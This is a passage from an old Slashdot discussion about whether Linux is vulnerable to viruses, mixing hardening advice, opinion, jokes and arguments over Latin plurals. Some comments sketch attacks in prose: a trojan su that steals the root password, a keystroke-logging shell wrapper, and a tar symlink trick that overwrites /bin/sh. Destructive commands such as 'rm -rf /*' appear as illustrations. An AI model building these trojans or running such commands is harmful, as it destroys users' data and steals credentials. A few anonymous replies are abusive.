      Of course, on a home system, keeping /usr/local read-only is probably overkill, since lots of people add stuff there a lot, and all the remounting would be more trouble than it's worth. Good idea for a production system, or something, though.

  119. Permissions do *so* help by redelm · · Score: 1

    Melissa is an interesting and very virulent virus.

    But one highly unlikely to infect *nix boxen because all the key executables are unwritable by the user.

    The same goes for *nix office suites _unless_ they allow execution of user binaries, or have dangerous macro commands. The latter is quite likely because some people want to do bulk mailings so Melissa workalikes could thrive.

    There is also the diversity safeguard. It is easy for viruses to spread in the MS-Windows world because there is basically one OS run on a great number of machines. Monoculture. *nix is fragmented, and hence more difficult to attack.

    -- Robert


  120. The point of the matter is by Anonymous Coward · · Score: 0
    Linux and UNIX's are superior by design when compared against DOS derived OSes like Window x.x series. Digital Virus infections level are due to poor design of the Disk Operating System. It allowed almost any program to run in Kernel level, when it should only allow in user level.

    Some of my friends send email alerts for new virus and related stuff. I always reply saying: "Format your hard-disk and install Linux. Happy Virus-Free computer experience!"

    1. Re:The point of the matter is by Anonymous Coward · · Score: 0

      Get ready for your "Unix monoculture" to be boarded by pirates. The flat single-point-of-penetration "root" security scheme in Unix is poor. And it doesn't seem to be evolving. Linux never evolves, it just gets better and better at copying what Unix does.

      And then, there's the security risk that comes with relying on people like Bruce Schneier (the crypto guy) as a "security expert" in Linux circles. Face it, he's a crypto expert (and good at crypto). A security expert has much more to keep in mind, that Bruce just doesn't get. I see his dogmatic advice all over the place, where he has no business (because he has little expertise).

    2. Re:The point of the matter is by talonyx · · Score: 1

      Ha ha ha, you don't know anything about DOS, do you?
      You poor fool!

      Dos is a single-user single-tasking OS, perfect for what it does. I have never, ever, seen DOS crash; as for DOS apps, I have only ever seen one crash (WordPerfect 5.1, trying to save to a full disk).
      DOS games, using DOS4GW, don't crash much either.

      Dos is not poorly designed. Programs all ran at what I would call "processor level"; they could, using assembler calls, directly access the processor and feed it ops... resulting in blazing speed. They could also call software-interruupts from the DOS kernel.
      As for a user level, there is none. User levels and such are great for connected, networked OS's that have to worry about security. DOS was not designed for that. Hence, it boots faster, runs faster, and is probably just as easy to se as command-line linux.

      Windows is a different story. It is a cheap hack. NT is far better, a step in the right direction. It is not better than linux, and neither is Win9x/3.x. Don't get the idea that I'm defending Windows. I'm defending DOS, the little OS that could.
      --
      Talon Karrde

  121. How to be 99.999% secure by jd · · Score: 3
    It's easy. Run a non-standard configuration. A virus -has- to make certain assumptions about your computer. The only reason DOS and Windows viruses were so small is that you could make a lot of assumptions and be right most of the time.

    With Linux, that doesn't have to be the case. It's only as much the case as YOU choose it to be.

    Suggestions:

    • Put your data area into a non-standard filing system, such as ReiserFS, Ext3, SysV FS, etc. It's a lot harder to do low-level file mods when you don't know what the file looks like.
    • Lock down your root partition. TOTALLY. Put anything that needs to be writable in a seperate partition. Mount root as read-only, and keep it that way.
    • Install the latest glibc, unless you're using commercial apps. You can always recompile YOUR code, but a virus can't recompile it's.
    • Intrusion Detection Systems can be fun. LIDS is a good place to start, though just about any will do. Tripwire's another handy gadget to have around, too.
    • Install a non-standard permission system. Trustees, or POSIX ACL will do nicely. It's much less fun for the poor virus, if it can't even tell what permissions exist or where.
    • Don't put your standard binaries in any particular place. Let the virus look, for a change, if it wants to use any. It's not going to affect you, as you've got a path set up.
    • NEVER, EVER enable the kernel to support loading modules from alien versions. That way, any kernel virus has to be compiled for that specific kernel. And the odds of that are zilch, if you go and install the very latest.
    --
    It's a small world and it smells funny; I'd buy another if it wasn't for the money; Take back what I paid (SoM)
  122. Land Titles? by UnknownSoldier · · Score: 1

    > In the US more than 95% of the privately held land is owned by only 3% of the population.


    Do you mean most people not having Allodial Title for their land ?

    Do you happen to have a link to the source of that data?

    Thx.

  123. Teach by marcus · · Score: 1

    >I may be one of the only Slashdot geeks to have majored in Classical Languages ...

    Indeed, you might be the only one, but some of us out here still enjoy learning something new everyday, and I will mention that good grammar and spelling is also appreciated by the literate among us.

    --
    Good judgement comes from experience, and experience comes from bad judgement.
    - W. Wriston, former Citibank CEO
  124. As long as we're fighting about it... by bla · · Score: 1

    from the article:
    >... have successfully completed one such prototype: the result is a fully functional and potentially virile Linux virus.

    i was more or less under the impression that "virile" (from latin "vir" meaning "man," i believe--akin to "puerile" from "puer" = "boy") referred to the sexual capability of a male, and that the correct word to describe a particularily nasty virus was "virulent." anyone want to correct me?

    1. Re:As long as we're fighting about it... by KahunaBurger · · Score: 2
      >... have successfully completed one such prototype: the result is a fully functional and potentially virile Linux virus.

      i was more or less under the impression that "virile" (from latin "vir" meaning "man," i believe--akin to "puerile" from "puer" = "boy") referred to the sexual capability of a male, and that the correct word to describe a particularily nasty virus was "virulent." anyone want to correct me?

      No agrument here, a natural virus would be virulent. But its kinda funny to think about a "virile" computer virus. I think it would be one that automatically redirected your web browser to porn sites and guns.com :-)

      Or maybe popped up messages like "is my CD drive open or am I just happy to see you?" and "Are you implying I could ever have a soft drive?"

      --
      ...will work for Chick tracts...
  125. The Pariable of the Root-Running Dipshit by Greyfox · · Score: 3
    And one day it came to pass that a luser decided to ignore the wisdom of his elders, and he did shake his hands at the heavens and swore to run as root forever.

    And the packets did boil and the ports turned red and soon every script kiddie in the land did make their way to his system, yea verily and they did own it.

    And the luser cried out to his elders and asked of them why there was no hard drive space left and why his drives did thrash the day and night and why 'who' did show 50 users on his system at all times.

    And lo, the elders laughed and spake unto him that it was time to wipe his hard drive clean of past sins and reinstall. And they did call him a dipshit and made fun of his penis size, and thus the luser was enlightened.

    --

    I'm trying to teach myself to set people on fire with my mind... Is it hot in here?

  126. The user Delmoi by delmoi · · Score: 1

    Yes, that's true. But, remember, Linux is not just a server OS. More and more people are starting to use on there home machines. And I really doubt that those boxes could be called "properly administered". if Delmoi's files get deleted, and Delmoi is the only user account, All that good security isn't going to be worth shit.

    Anyway, I'm not saying that Linux is anywhere near where Windows is in viral susceptibility, but it is possible, and still not a good thing..

    [ c h a d o k e r e ]

    --

    ReadThe ReflectionEngine, a cyberpunk style n
  127. Public Challange by jd · · Score: 2
    I, jd, hereby offer an Open Challange, the format of which is as follows:

    • I will select a standard distribution of Linux and select a number of Open Source tools from Freshmeat.
    • I will present anyone who accepts the challange with this list, but will NOT inform them how I have configured the box, NOR which (if any) of the tools I have installed.
    • Either the individual or the group who accept the challange must then write a virus which can demonstrably infect the computer AS A WHOLE, when executed by a regular user. (Infecting the user's account is insufficient to demonstrate the virus has actually infected the computer itself.)
    • The only prize I can offer is bragging rights. If you win, let your ability to write a Linux virus go unchallanged. If =I= win, I want the defeated party to acknowledge they were not able to write a virus that could defeat Linux. And if the defeated party is the Russian consultant in the article, I want a public apology and retraction for his claims.
    --
    It's a small world and it smells funny; I'd buy another if it wasn't for the money; Take back what I paid (SoM)
    1. Re:Public Challange by QuantumG · · Score: 1

      I've passed this on to an interested party.

      --
      How we know is more important than what we know.
  128. Not much different than rm -rf . /* by Greyfox · · Score: 2
    Ever accidentally put a space in an rm you were using a wildcard with? It can get ugly.

    The upshot is that users in the know back up their critical data on a regular basis. If you can't be bothered to do that, don't expect any sympathy from anyone.

    --

    I'm trying to teach myself to set people on fire with my mind... Is it hot in here?

  129. not quite by delmoi · · Score: 1

    But, you wouldn't need to rewrite the Disk File. Just make an app and stick in the ~/.bashrc file or whatever. This would be detectable, but most people probably don't check there .bashrc files that often.

    The idea I had was this, write a program that when run presents the user with a shell prompt, anything typed in gets passed to the bash shell underneth it, exsept keystroeks are recorded. The program is 'loaded' when the user starts the trogen, and sort of sits betwen the user and the TTY, if posible, otherwise between the TTY and bash. It captures input and output, and can see if someone uses su.

    [ c h a d o k e r e ]

    --

    ReadThe ReflectionEngine, a cyberpunk style n
  130. One word: Tripwire by Greyfox · · Score: 2

    Tripwire takes checksums of all your important files, a major feature in many antivirus programs. Write your checksums to a zip disk, set the read only tab and check them every few days.

    --

    I'm trying to teach myself to set people on fire with my mind... Is it hot in here?

  131. Re:This will be somewhat of a problem in the futur by Anonymous Coward · · Score: 0

    funkman has hit it right on the head. As has been discussed before on Slashdot, most out-of-the-box installations are not very securely configured. It will only take one "virus" or trojan horse to attack one such distribution to give Linux a bad reputation for quite a while, no mattar how we respond after-the-fact. If the Linux community doesn't want to get a reputation for slipshod security among _average_ users, we have to address this problem before it happens, and with all the major distributors.

  132. Resource limits by Fastolfe · · Score: 2

    Most modern unices have some form of configurable resource limits. Things like number of processes, amount of memory, CPU usage, etc. can usually be limited per user, making "attacks" of this nature worthless.

    Disk quotas can prevent users from filling up filesystems, also.

  133. Wow, great reply by Fyndlorn · · Score: 1

    I mean it :)

  134. Re:cultural reasons viruses won't proliferate in * by Anonymous Coward · · Score: 0

    Unfortunately, as Linux gains a reputation as being an alternative to Windows among desktop users, and begins to replace Windows in the desktop and especially in homes, the culture is going to change. People _will_ start e-mailing "Elf Bowling" and other executables to each other. After all, they could do it on Windows, and all those Linux gurus keep saying Linux is more secure... Security is at least 50% people. If we win the desktop war, the virus wars will not be far behind. Not because of technology, but because of people. Do we really want to win the desktop war?

  135. Re:This is why Linux is so extraordinarily dangero by Shin+Elendale · · Score: 1
    Are you for real???

    -Elendale (gets that stary-eyed face)

    --

    IANAT (I Am Not A Troll)

  136. Show me... by Anonymous Coward · · Score: 0

    ...your dual boot firewall and how all of /etc/rc.d.... is protected from anything while the "other" os is running.

    1. Re:Show me... by tzanger · · Score: 1

      [Show me]...your dual boot firewall and how all of /etc/rc.d.... is protected from anything while the "other" os is running.

      Now why on earth would a server or firewall be dual-booting? :-)

      Now on my home system, I use vmware for booting into NT to run my PIC emulator software. And you can lock down partitions with vmware.

  137. A few reflexions by David+A.+Madore · · Score: 2
    • What probably saves Linux most is that most users do not run programs they own, but root-owned programs. Moreover, there is a barrier between users, as well as between the users and root, which makes it hard for viruses to spread even within the system (let alone between systems).
    • However, users generally have a bin/ directory to which they have write access; they also have shell startup files (``dot files'') and the like. All these things could be contaminated by viruses running at the user level. The difficulty of leaping from one user to another still exists, but if some users have ``.'' in their path, putting an infected binary in /tmp might do the trick.
    • Many users carelessly download binary packages off the web and install them as root (possibly even running an install script as root). That is extremely dangerous.
    • Many programs come in source code, true. But: how often do you get a cryptographic signature with the source code? How often do you check the signature? Do you review the code before compiling it? How do you know the compiler doesn't have a back door (àla Ken Thompson)? (All right, this is far fetched.)
    • Even extracting a tar archive as root, something you probably do often without thinking, is dangerous. It is possible to write an archive which contains a file foo that symlinks to /bin/sh and then the same file foo containing the contents you want to replace /bin/sh by. I am drifting away from the subject of viruses to security holes in general, but this is an important fact people are seldom aware of.
    • In theory, a luser cannot become root. In practice it is, in many cases, not so difficult. That is: Unix has two security barriers, one between ``not logged in'' and ``luser'' and one between ``luser'' and ``root''. The real security system lies in the first barrier, not the second. (You have seen ``hack this box'' contests: have you ever seen ``become root on this box, we give you an account'' contests?) So actually, a virus probably could spread throughout the system. In that case, the centralized, multi-user nature of the system would make things more dangerous.
    • Unix lacks flexibility in the question of security. Access Control Lists, capabilities, virtualization, are being introduced, but only slowly, and they remain distinctly alien to the entire philosophy. Contrary to more advanced systems, like the Hurd, Unix/Linux does not have the possibility of creating a virtual shell around a program, to prevent it from doing harm (well, there is ``user mode Linux'', but that is still very experimental). A luser cannot split its rights, call a program with limited rights. Heck, you are not even allowed to su to nobody if you are wary of a certain program! All this makes the viruses' life easier.
    • However, Unix has a few nice features. One is the strace function call. I tend, when I run an alien binary program for the first time, to systematically strace it to see which files it opens. While that does not remove the possibility of viruses, it somewhat reduces it, because something so blatant as open("/home/me/bin/sh", O_CREAT) would jump to my eye immediately.
    • Also, Unix/GNU does not have the ridiculous misfeatures that made the Melissa virus possible. No mailer will unconditionally execute something found in the mail. Even xterm control sequences are rather safe (I do not think it is possible to pirate an account with cat in an xterm).
    • I think the greatest asset of Linux in this domain is its heterogeneity. All Linux distributions are different. Many people have custom kernels, and so on. See: even for legitimate purposes it has often been a pain (you need an a.out/libc4, an elf/libc5, a glibc/libc6 and a glibc2.1 version of the same binary and so on). So imagine for a virus? Madness.
    • Nothing is ever completely safe. The virus situation in Linux will probably worsen in times to come. But even then, it will certainly always remain better than under a Microsoft operating system.
    • Just my EUR0.02...
  138. No such word as virii by Anonymous Coward · · Score: 0

    The plural of "virus" is "viruses". It was not a 2nd declension masculine noun in Latin, and therefore does not go to "-i". And it was not "-ius" like filius, so definitely doesn't go to "virii". See Tom Christiansen's page about this.

  139. Re:DUH by Anonymous Coward · · Score: 0

    The plural of "virus" is "viruses", not "viriiii.

  140. Re:DUH - no - thats DOH by Anonymous Coward · · Score: 0

    The plural of "virus" is "viruses", not "viriiiii.

  141. Hear hear!! by KahunaBurger · · Score: 1
    "Well gee, the virus "only" killed my last weeks worth of writing when I have a deadline tomorrow, wiped my address book, killed my palm backup and set it to wipe the palm when I try to hotsink and eliminated a day's worth of possibly important email before I got a chance to read it. Good thing it didn't actually hurt the underlying operating system!"

    I know that for some people tweaking thier computer is practically the point of owning one. But I use mine as a freelance writer. The "root is safe so don't worry" attitude makes me think of a bank that has a super modern secure vault. But they know that everytime they open it to put something inside, someone could catch the combination or get a clue of how to break it open. So they keep all the money and valubles outside the vault and pride themselves on the fact that they have perfect vault security!

    --
    ...will work for Chick tracts...
  142. Mac or BeOS Virii by ryandlugosz · · Score: 1

    I found this post to be rather interesting but I know the story behind Linux virii. What I want to know about are virii that exist on the Mac and BeOS platforms. Do they exist? Are they a major problem? What are the technical details behind their existance or lack thereof?

    1. Re:Mac or BeOS Virii by Dijital · · Score: 1

      Although I don't know about BeOS, I do know that there are some virii for the Mac, they just are a real rearity. This is why there is a version of Norton AV and Disinfect for Mac.

      The newer versions of Mac OS are based off of NeXT Step and Unix, so will they have viruses?

      Who knows.

      And that is virii, according to DIJ
      Dijital

      --
      Diji
      "I came, I saw, I WTF'd!"
  143. That's what he was talking about...and vmware by Anonymous Coward · · Score: 0

    ...let me see if I can zip back up the history...

    Not dual boot firewalls, but the vulnerability of linux when running windos on the same box.

    So of course neither you nor I would dual boot a firewall or server, and as a workstation, running vmware is looking more and more attractive each day. Hmm, have you told the vmware folks about the security ADVANTAGE that their software gives linux users who would otherwise dual boot?


    1. Re:That's what he was talking about...and vmware by tzanger · · Score: 1

      ...let me see if I can zip back up the history...

      Sorry, I didn't we were talking about what we were talking about. :-) Your comments are valid in this context. :-)

  144. Re:This is why Linux is so extraordinarily dangero by Anonymous Coward · · Score: 0

    I've been using Linux for several years now and have been pretty happy with it. If what you say about Ishtar is true, however, I'll have no choice but to ceremonially burn all of my CDs and hard drives. I suppose next you'll tell me FreeBSD was behind "It's Pat".

  145. Merci by crush · · Score: 1

    correction gratefully received. I just checked my source and found that the phrase I remembered was "enculer les mouches".

  146. Re:The "It's hard to gain root access" truth by roystgnr · · Score: 2

    "Even if a virus cannot gain root access, to a home PC user, deleting his entire home directory is just as bad as infecting /bin/ls"

    Not quite true. If a virus deletes my entire home directory, and I'm smart, I just whip out the latest backup CD-R and do the restore as root. Voila, no more virus.

    On the other hand, if a virus infects my system running as root or infects my Windows system, there is nothing short of a reinstall I could do to make sure my system is secure. That virus might have infected anything on the system, from /bin/ls or explorer.exe to the kernel modules or kernel32.dll, and short of booting from a known clean floppy and reinstalling there's no way to be certain that a running virus isn't hiding itself from virus checkers (which isn't hard), maliciously attacking personal files repeatedly.

    And frankly, I have to reinstall Windows often enough when it's virus-free. I haven't reinstalled Linux in years, and I'd like to keep it that way.

  147. trojan su by Anonymous Coward · · Score: 1

    All the virus has to do is create a trojan su program in the user's home directory, alter the path, and the next time he tries to run su, the virus gets his root password.

  148. Good grief.. by sgml4kids · · Score: 1
    First they complain that Linux is not user-friendly enough. Now they're saying that the Chinese have a magical Linux technology that can:

    Download a program to your computer

    Port it to your architecture and configuration

    Compile itself

    Install itself

    Run itself (as root nonetheless)
    All without the user even noticing!

    1. Re:Good grief.. by Euphorea · · Score: 1
      Beware of those evil Chinese super-hackers...

      We'll all be better off if we just erect the Great FireWall of China and let them keep the virus' to themselves...

  149. media people, take note. by Gray · · Score: 1
    I'll leave it to the rest of explain why viruses aren't a major problem to Linux.. I'll just(attemt to) say this.

    If you log into a Linux box with the most powerful account you have and type rm -rf /* and press enter, will do as much damange to a linux box as any virus could. Recursivly Force Removal of all (/*) files. Account premissions make this kind of power controllable..

    Using linux is not the same as using Windows, in fundimental ways. Any parallels that people draw are almost certain to be wrong if you talk to a real expert.

  150. ? by Anonymous Coward · · Score: 0

    ?

  151. Submit to Securing Linux doc ? by UnknownSoldier · · Score: 1


    Thats a great idea. Mind if I send it to David Ranch? (so he can incorporate it into his Securing Linux Doc aka "Trinity OS")


    Securing Linux - Trinity OS


    Cheers

  152. Virii that exploit bugs? Been there, done that. by Eien · · Score: 2

    Well, look at the Linux/Stoag computer virus. It does exactly what we're worrying about in exploit bugs.

    Linux as an operating system is, in actuality, a lot more insecure than we'd like to admit. To prove my point, look at RedHat's Linux 6.1 Security Advisories page. How many of these packages were fixed to prevent root exploits? Five of thirteen. But look at how common some of these five are!

    Malicious people can use lpr of all things! Another famous example: bind. Or how about wu_ftpd? Those two, alone, are present alone on how much of the linux community?

    Honestly, were it not for freshmeat.net , I probably would not have discovered the existance of the new packages. (I don't check RedHat's site often. And I don't signup for mailing lists either... So this is my fault.)

    There are script kiddies out there who can manipulate the overflows in bind. (Please, for the love of God, if you haven't updated to bind 8.2.2_P3, go do so!) If a script kiddie can find a way to do that, then some coder worth his paycheck can probably figure out a way to have a program manipulate itself into root that way.

    I mean, all some perverse (or highly bored) programmer has to do is write a program to manipulate those bugs to get root... And then run rm -rf / to kill your machine. (There are, of course, nastier things one could do, but the less ideas I generate for others, the better.)

    By no means, are we safe. Linux virii will eventually be created and released into the wild. (There are even some that claim that MicroSoft will be the origin for the epidemic.)

    The only way we can keep ourselves truly safe is to catch security holes before the other side does and update our source packages before the attacks start.

    There is a saying in network security: "One loose link is all you need."

    --
    --CAE
    1. Re:Virii that exploit bugs? Been there, done that. by Anonymous Coward · · Score: 0

      Circle the wagons! Go girl!

    2. Re:Virii that exploit bugs? Been there, done that. by Anonymous Coward · · Score: 0
      Linux virii will eventually be created and released into the wild.
      Man, you kids are idiots! Not only do you come off as pathetically pretentious with your false Latin (that's not a word, you don't even understand why Unix isn't going to get your childish little viruses.
  153. ORB, Gnome and KOffice virii by ajv · · Score: 1

    In the MS world, the most potent and prevalent virii are macro viruses. Over time, MS built in limited forms of checks to prevent the average user from doing bad stuff to themselves, although the problem is still bad.

    The KOffice team are about to release a product that has corba access to all other components and is scriptable using python. Python has no security model and can import many useful modules to do pretty much anything you could do via C or C++ to your system. If a Koffice script can look up your address book via the ORB and run system(), Melissa/koffice is well on the way to being written - and very successful with those running Koffice.

    Linux is not immune to virii, and never will be. Most distributions are out to win the tick box war, which means packages+++. I can assure you that no one has the time to check all the packages being installed; and some of them are huge. So bugs will be there, which creates exploit opportunities. Just one common get root exploit is enough to allow a virii to propogate easily.

    A smug smart arse attitude to Windows users will not help once the virus kits start getting distributed. Take the problem seriously, and use proper precautions:

    • backups are always the best insurance
    • run as an unprivileged user
    • install only those packages you need
    • don't trust binary packages from unusual sources
    --
    Andrew van der Stock
    1. Re:ORB, Gnome and KOffice virii by Anonymous Coward · · Score: 0
      There is no such word as you are using.

      And Unix won't have viruses. Only if fuckwads get their hands on it is there a problem. Real programmers will laugh at you forever.

  154. Australia = the virus capital by QuantumG · · Score: 1

    As we all know, the best viruses come from Australia. In the case of linux viruses, check the mailing list archives maintained by Silvio.
    Who is an all round cool guy.

    --
    How we know is more important than what we know.
  155. My essay on Linux/Unix viruses by rickmoen · · Score: 1

    Indeed an amusing article (the ZDNet one). However, a couple of weeks ago, I happen to have written a piece that I think does comprehensively cover the question: http://linuxmafia.com/~rick/faq/#virus

    I wrote that after I was ask about Linux virus-checkers once too often.

  156. It's naive to think it can't happen. by LocalYokel · · Score: 2
    Viruses could happen in Linux just as easily as in Windows, if not more so. How hard would it be to embed a virus or trojan in freely modifiable and redistributable GPL code, then sneak it into a mirror? Big deal if most users can't install software -- it's not that hard to fool root, either.

    --

    --

    --
    E2 IN2 IE?

  157. FreeBSD and "It's Pat": The Untold Story by Anonymous Coward · · Score: 0
    I've been using Linux for several years now and have been pretty happy with it. If what you say about Ishtar is true, however, I'll have no choice but to ceremonially burn all of my CDs and hard drives.

    Well, the news is not easy to take, and I never claimed that it was. Nevertheless I believe that it is fundamentally better that Linux users know the truth. Yes, you can go on deluding yourself, but in the long run, you only hurt yourself if you hide from the truth.

    I suppose next you'll tell me FreeBSD was behind "It's Pat".

    This is true. Not only was FreeBSD behind this movie, it was also behind several other movies that were less-than-high-quality:

    • A Night at the Roxbury
    • Mom and Dad Save the World
    • Howard the Duck
    • Plan 9 From Outer Space
    I hope you can see why FreeBSD shan't be allowed, now or ever.
  158. Bah. by Anonymous Coward · · Score: 0
    Has it gotten so bad that ppl like Linus need to place a training device such as those used in potty training around Linux just so users don't foul up?

    BTW, who has the most to benefit from that article? AV company reports virii attack from the "evil" Chinese. Hysteria, another white collar meat.

  159. HUMOR:Linux is a virus in itself by pb · · Score: 1

    I think I echo the other anti-NT comments by saying:

    "You would have to eat 12 bowls of Windows NT to get the features found in one bowl of Linux! Also, NT is lacking in Iron, Stability, Support, and other vital nutrients."

    Please, guys, keep it funny. It's a funny post. :)

    Or, for the English-impaired:

    grep -iv FUD funny.post
    ---
    pb Reply or e-mail; don't vaguely moderate.

    --
    pb Reply or e-mail; don't vaguely moderate.
    1. Re:HUMOR:Linux is a virus in itself by razvedchik · · Score: 2

      Geez,

      You'd think somebody (those other guys) forgot to include humor.h, or somebody urinated in their Cheerios this morning.

      --
      I do what the voices on my console tell me to do.
  160. the proper reading by QuantumG · · Score: 1

    I wrote a good portion of the "proper reading" on computer viruses.. the term "virii" is a valid collective term.

    --
    How we know is more important than what we know.
    1. Re:the proper reading by Anonymous Coward · · Score: 0

      Fine. So you can't spell either. That's fine. It's what we expect from the k001 generation.

    2. Re:the proper reading by QuantumG · · Score: 1

      name me a coder who can speel.

      --
      How we know is more important than what we know.
    3. Re:the proper reading by Anonymous Coward · · Score: 0
      name me a coder who can speel.
      Many of them. It's just slacker jerks like you are haven't a fucking clue. I know plenty of people who can code who can also handle not merely English, but many other languages as well. Don't assume that others are as fucking clueless as you are.
    4. Re:the proper reading by DaveHowe · · Score: 1

      I wrote a good portion of the "proper reading" on computer viruses.. the term "virii" is a valid collective term.
      In theory, it isn't (the latin root of virii isn't virus, but I can't remember the exact root offhand) but that's irrelevant - the word is sufficiently in use to make it a valid term for them, regardless of language purists. Keeping Latin pure isn't one of my goals in life :+)
      --

      --
      -=DaveHowe=-
  161. Not limited to 512 bytes. by Anonymous Coward · · Score: 0
    And you want to fit that all in, IIRC, 512 bytes? That'll be quite a smart guy who can do that.

    Only the virus boot loader needs to fit within 512 bytes. The bulk of the virus can reside elsewhere on the disk, loaded by the few dozen virus bytes added to an infected LILO. Hardware is so fast today, who would notice a 5MB virus loading?

  162. One point that has been missed here by Goonie · · Score: 2
    It has been claimed repeatedly that a virus, while not able to attack files that its user doesn't have write access to, could easily wipe out that user's entire home directory. Quite true (thanks for reminding me that I need to do a backup . . .)

    However, most newbies don't run any binaries (or even scripts) that they have write access to! How is a file infector going to work if all their executables are owned by root and they don't have write access?

    --

    Any sufficiently advanced technology is indistinguishable from a rigged demo
    --Andy Finkel (J. Klass?)
  163. Uhh... what did you think "clone" meant? by lunatik17 · · Score: 1
    Linux never evolves, it just gets better and better at copying what Unix does.

    Linux is a UNIX clone. Duh, of course it copies UNIX.

    The security system is pretty much sound if you don't run as root. Running a virus infected program as a user will only destroy that which you have access to... a far cry better than DOS to be sure. Besides, even the most secure NOS can be defeated by an incompetent user. Good security habits are just as important as a good security model.

    --

    Here's my DeCSS mirror, where's yours?

  164. Bringing Red Hat to a shuddering halt? by CvD · · Score: 1

    I was coding a Perl piece the other day, and I hadn't done so in a while, and it'd gotten pretty messy. Anyways, it turned out that there was a variable assignment that was supposed to assign a string to a variable, but the subroutine from which it was called had the same name (I'll be using quotes more often now. :). Turns out that Red Hat 6.0 has no user limits set, and that any user can bring the whole system down just by writing a simple script that keeps calling itself and bogs up all the memory, then the swap space, and then it began shooting off random processes... well, you know how it goes. This surprised me quite a bit. I'm sure there must be other distro's out there that have this problem, and I call it a problem, cause I think that this is not something that every admin should have to think of when installing their system.

    Cheers!

    Costyn.

  165. Off Topic Re:Bliss? by tialaramex · · Score: 1

    Yeah, good Tori Amos single, but on the album I like Concertina at the moment.
    Yes, this is off-topic. Moderating it down is silly, because it says "Off Topic" at the top, so save your points guys. :)

    Anyway, I said something useful further up, and this "news" is just hype generated to sell a product as others have said. Look deeper /. users

  166. But is Windows a Virus? by Anonymous Coward · · Score: 0
    No Windows is not a virus. Here's what viruses (viri?) do:
    • They replicate quickly -- okay Windows does that.
    • Viruses use up valuable system resources, slowing down the system as they do so -- okay, Windows does that.
    • Viruses will, from time to time, trash your hard disk -- okay, Windows does that, too.
    • Viruses will occasionally make the user suspect their system is too slow (see 2) and the user will buy new hardware. Yup, that's with Windows, too.

    Until now it seems Windows is a virus but there are fundamental differences: Viruses are well supported by their authors, their program code is fast, compact, and efficient, and they tend to become more sophisticated as they mature.

    So, Windows is not a virus.

    (credit unknown)

  167. Try this one :-) by Anonymous Coward · · Score: 0

    maybe you'll find this entertaining
    Unknown
    or just annoying :-)
    Doesn't quite qualify, but hazards come from unexpected places.

  168. Anti Viral programs by malkodan · · Score: 1

    i dont believe that my box will ever be infected with a virus since linux is very secured and i control on every file by myself. but lets continue to my main point i want to bring up, if, and there's a chance, that there will be a virus for linux, viruses, Anti Virus programs will be written so quickly, because most of linux users have a background in programming, or they are programmers theirself. and same as linux was developed by hackers, if it's anti virus will be developed again by hackers, no anti virus from the windows platform would compare to it. same with exploits, as a security hole is found on linux, an exploit will be written quickly, and a fix will be written even faster, and will secure your system in 100%. but still, i dont think there's a reason to be afraid from viruses for linux.

    --
    Dan.
  169. plural of virus-- interesting entymological thingy by Savage+Henry+Matisse · · Score: 1
    Indeed, the plural of "virus" is "viruses"-- when talking about biological viruses. But "virii" is the acpeted plural of "virus" when reffering to computer viruses (virii?)

    Hackers, way back when (probably during the mid-80s), started (erroneously) using the plural "virii" for computer viruses, and it became "correct" through years of use. This is similar to the sitaution with "octopus." Technically, the plural of "octupos" is "octopoda," not "octopi." This owes to the fact that "octopus" isn't Latin, but Greek ("octo" = 8, "pus" = foot.) But, folks have been (erroneously) using "octopi" for so long that it has become correct.

    Just a little factoid to help you in Trivial Pursuit.

    --
    Much Love,
    "S"HM
    *****
    (I refuse to spellcheck out of contempt for your belief system)
  170. Re:plural of virus-- interesting entymological thi by Anonymous Coward · · Score: 0
    Octopi is not correct; try octopodes; better yes, try octopuses.

    And "virii" is pretentious h@k3r t0k. Stick to English plurals if you can't rattle off all five Latin declensions in each of three genders, plus irregulars.

    Me can say somethun lotsa timez, d00zersmartz, but that's not sufficient to make it "correct".

    What a bunch of clowns. Go back to take those classes you skipped.

  171. Bill in Jail! by coyote-san · · Score: 2

    Of course, the obvious response is to run MS Office as root... in a chroot jail! It will be worth the hassles to have the obvious desktop icon.

    --
    For every complex problem there is an answer that is clear, simple, and wrong. -- H L Mencken
  172. The be all and end all... by .torq · · Score: 1
    I'm not advocating Linux as the be all and end all (even though I think it's nifty), but when talking virii we should consider the reason they are so prolific.

    How do most virii work? The big headliner virii always seem to be written to exploit certain flaws or features in software. The reason that these flaws can be taken advantage of seems to be twofold:
    • Binary distributions (a la anything on Windows) prevent scrutiny from outside sources
    • Proprietry software vendors don't like to tell people that there software is buggy until someone else discovers the bug (in the form of a virus)

    So, I'm not going to argue for or against Linux per se, but I think open source software really does defeat the above points most of the time.

    The other point that has been raised by many others in this discussion is the intrinsic multiuser aspect of Linux. The fact that a multiuser environment is all but mandatory with Linux makes people follow rules for access and priveleges on a system, which is great for stopping virii from propogating via priveleged access. Sure, Windows (among others) may provide the ability to function semi-multiuser but it's not nearly as enforced as on Linux, which means people can get lazy and run everything under a priveleged account. So Linux isn't necessarily better at being secure (don't hit me hehehe), but it is better at training people to be more secure. I'm sure if programmers and users of Windows based systems had enforced access/security in a multiuser system then Windows security holes would be patched much quicker, especially in the applicaiton layer. Programmers simply wouldn't be able to assume that their programs had complete access to the system - they would have to write checks into their code to make sure of it, and users would have to enable access for programs that required priveleged access. That might take a little bit longer for users to install/run programs, but it's much better than the current "double-click suck it and see" method where you've got NFI how to restrict what a single program can access on your system.

    --------------------------------------------------
    email .torq
    --


    email me or not.
    1. Re:The be all and end all... by Anonymous Coward · · Score: 0

      Virii don't work at all because there's no such fucking word, moron.

  173. The be all and end all... by .torq · · Score: 1
    I'm not advocating Linux as the be all and end all (even though I think it's nifty), but when talking virii we should consider the reason they are so prolific.

    How do most virii work? The big headliner virii always seem to be written to exploit certain flaws or features in software. The reason that these flaws can be taken advantage of seems to be twofold:
    • Binary distributions (a la anything on Windows) prevent scrutiny from outside sources
    • Proprietry software vendors don't like to tell people that there software is buggy until someone else discovers the bug (in the form of a virus)

    So, I'm not going to argue for or against Linux per se, but I think open source software really does defeat the above points most of the time.

